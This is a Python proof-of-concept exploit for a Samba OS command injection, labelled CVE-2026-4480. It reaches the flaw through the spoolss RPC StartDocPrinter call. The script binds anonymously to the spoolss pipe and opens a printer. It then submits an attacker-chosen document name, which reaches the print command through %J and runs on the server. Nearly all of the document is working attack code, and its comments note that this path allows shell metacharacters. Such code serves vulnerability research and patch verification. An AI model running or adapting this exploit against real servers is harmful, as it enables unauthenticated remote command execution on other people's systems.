#!/usr/bin/env python3
"""
CVE-2026-4480 variant: spoolss RPC StartDocPrinter path.

This triggers the same OS command injection via %J in the Samba print command,
but through a DIFFERENT entry point than the original repro:
  - Original repro: SMB file open on printable share -> filename becomes jobname
  - This variant:   spoolss RPC StartDocPrinter(pDocName) -> document_name becomes jobname

Both paths converge at generic_job_submit() -> print_run_command() -> smbrun_no_sanitize() -> system().

The spoolss RPC path is NOT subject to SMB filename character restrictions,
so the attacker can inject characters like ; $ ` ( ) # that SMB filenames forbid.
"""
import sys
import time

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import ULONG, DWORD, LPWSTR, NULL
from impacket.dcerpc.v5.ndr import (
    NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER,
    NDRUniConformantArray,
)
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rprn import (
    MSRPC_UUID_RPRN,
    PRINTER_HANDLE,
    DEVMODE_CONTAINER,
    PRINTER_ACCESS_USE,
    hRpcOpenPrinter,
    hRpcClosePrinter,
    DCERPCSessionError as RprnSessionError,
)
from impacket.smbconnection import SMBConnection

# Define DCERPCSessionError so impacket's request() can find it in this module
DCERPCSessionError = RprnSessionError

# ---------------------------------------------------------------------------
# NDR structures for spoolss RPC calls not implemented in impacket's rprn.py
# ---------------------------------------------------------------------------

class DOC_INFO_1(NDRSTRUCT):
    structure = (
        ('pDocName', LPWSTR),
        ('pOutputFile', LPWSTR),
        ('pDatatype', LPWSTR),
    )

class PDOC_INFO_1(NDRPOINTER):
    referent = (
        ('Data', DOC_INFO_1),
    )

class DOC_INFO_UNION(NDRUNION):
    commonHdr = (
        ('tag', ULONG),
    )
    union = {
        1: ('pDocInfo1', PDOC_INFO_1),
        2: ('pDocInfo2', NULL),
        3: ('pDocInfo3', NULL),
    }

class DOC_INFO_CONTAINER(NDRSTRUCT):
    structure = (
        ('Level', DWORD),
        ('DocInfo', DOC_INFO_UNION),
    )

# RpcStartDocPrinter (opnum 17 = 0x11)
class RpcStartDocPrinter(NDRCALL):
    opnum = 17
    structure = (
        ('pHandle', PRINTER_HANDLE),
        ('pDocInfoContainer', DOC_INFO_CONTAINER),
    )

class RpcStartDocPrinterResponse(NDRCALL):
    structure = (
        ('pJobId', DWORD),
        ('ErrorCode', ULONG),
    )

# RpcWritePrinter (opnum 19 = 0x13)
class WRITE_BYTE_ARRAY(NDRUniConformantArray):
    item = 'c'

class RpcWritePrinter(NDRCALL):
    opnum = 19
    structure = (
        ('pHandle', PRINTER_HANDLE),
        ('pData', WRITE_BYTE_ARRAY),
        ('cbBuf', DWORD),
    )

class RpcWritePrinterResponse(NDRCALL):
    structure = (
        ('pcWritten', DWORD),
        ('ErrorCode', ULONG),
    )

# RpcEndDocPrinter (opnum 23 = 0x17)
class RpcEndDocPrinter(NDRCALL):
    opnum = 23
    structure = (
        ('pHandle', PRINTER_HANDLE),
    )

class RpcEndDocPrinterResponse(NDRCALL):
    structure = (
        ('ErrorCode', ULONG),
    )

# ---------------------------------------------------------------------------
# Exploit logic
# ---------------------------------------------------------------------------

def main():
    server = sys.argv[1]
    port = int(sys.argv[2])
    printer_name = sys.argv[3]
    doc_name = sys.argv[4]

    print(f"[*] CVE-2026-4480 variant: spoolss RPC StartDocPrinter path")
    print(f"[*] Target: {server}:{port}, printer: {printer_name}")
    print(f"[*] Malicious document name: {doc_name!r}")

    # Step 1: Bind to spoolss pipe via DCERPC over SMB (guest/anonymous)
    rpctransport = transport.SMBTransport(server, port, r'\spoolss', '', '')
    rpctransport.set_credentials('', '', '', '', '')
    rpctransport.set_dport(port)

    dce = rpctransport.get_dce_rpc()
    print("[*] Binding to spoolss pipe...")
    dce.connect()
    dce.bind(MSRPC_UUID_RPRN)
    print("[+] Bound to spoolss (MS-RPRN)")

    # Step 2: Open the printer
    full_name = f"\\\\{server}\\{printer_name}"
    print(f"[*] Opening printer: {full_name}")
    try:
        resp = hRpcOpenPrinter(dce, full_name, accessRequired=PRINTER_ACCESS_USE)
    except DCERPCException as e:
        print(f"[-] OpenPrinter with USE access failed: {e}, trying default...")
        try:
            resp = hRpcOpenPrinter(dce, full_name)
        except DCERPCException as e2:
            print(f"[-] OpenPrinter retry failed: {e2}")
            dce.disconnect()
            sys.exit(1)

    # Construct PRINTER_HANDLE from response
    handle_bytes = resp['pHandle']
    printer_handle = PRINTER_HANDLE()
    printer_handle['Data'] = handle_bytes
    print(f"[+] Printer opened, handle: {handle_bytes.hex()}")

    # Step 3: StartDocPrinter with malicious document name
    # NOTE: strings must include explicit \x00 null terminator for Samba NDR compatibility
    print(f"[*] StartDocPrinter with pDocName = {doc_name!r}")
    request = RpcStartDocPrinter()
    request['pHandle'] = printer_handle
    request['pDocInfoContainer']['Level'] = 1
    request['pDocInfoContainer']['DocInfo']['tag'] = 1
    request['pDocInfoContainer']['DocInfo']['pDocInfo1']['pDocName'] = doc_name + '\x00'
    request['pDocInfoContainer']['DocInfo']['pDocInfo1']['pOutputFile'] = NULL
    request['pDocInfoContainer']['DocInfo']['pDocInfo1']['pDatatype'] = 'RAW\x00'

    try:
        resp = dce.request(request)
        job_id = resp['pJobId']
        print(f"[+] StartDocPrinter OK, job_id = {job_id}")
    except DCERPCException as e:
        print(f"[-] StartDocPrinter failed: {e}")
        try:
            hRpcClosePrinter(dce, printer_handle)
        except Exception:
            pass
        dce.disconnect()
        sys.exit(1)

    # Step 4: WritePrinter - write some print data
    print_data = b"%!PS-Adobe-3.0\nCVE-2026-4480 spoolss variant PoC\n"
    print(f"[*] WritePrinter: {len(print_data)} bytes")
    request = RpcWritePrinter()
    request['pHandle'] = printer_handle
    for b in print_data:
        request['pData'].append(bytes([b]))
    request['cbBuf'] = len(print_data)

    try:
        resp = dce.request(request)
        written = resp['pcWritten']
        print(f"[+] WritePrinter OK, {written} bytes written")
    except DCERPCException as e:
        print(f"[-] WritePrinter failed: {e}")

    # Step 5: EndDocPrinter - triggers print_job_end -> generic_job_submit
    print("[*] EndDocPrinter (triggers print command execution)")
    request = RpcEndDocPrinter()
    request['pHandle'] = printer_handle
    try:
        resp = dce.request(request)
        print(f"[+] EndDocPrinter OK")
    except DCERPCException as e:
        print(f"[-] EndDocPrinter failed: {e}")

    # Step 6: Close printer
    try:
        hRpcClosePrinter(dce, printer_handle)
        print("[+] Printer closed")
    except Exception as e:
        print(f"[-] ClosePrinter failed: {e}")

    dce.disconnect()
    print("[*] Done - check server for command execution evidence")
    time.sleep(2)


if __name__ == '__main__':
    main()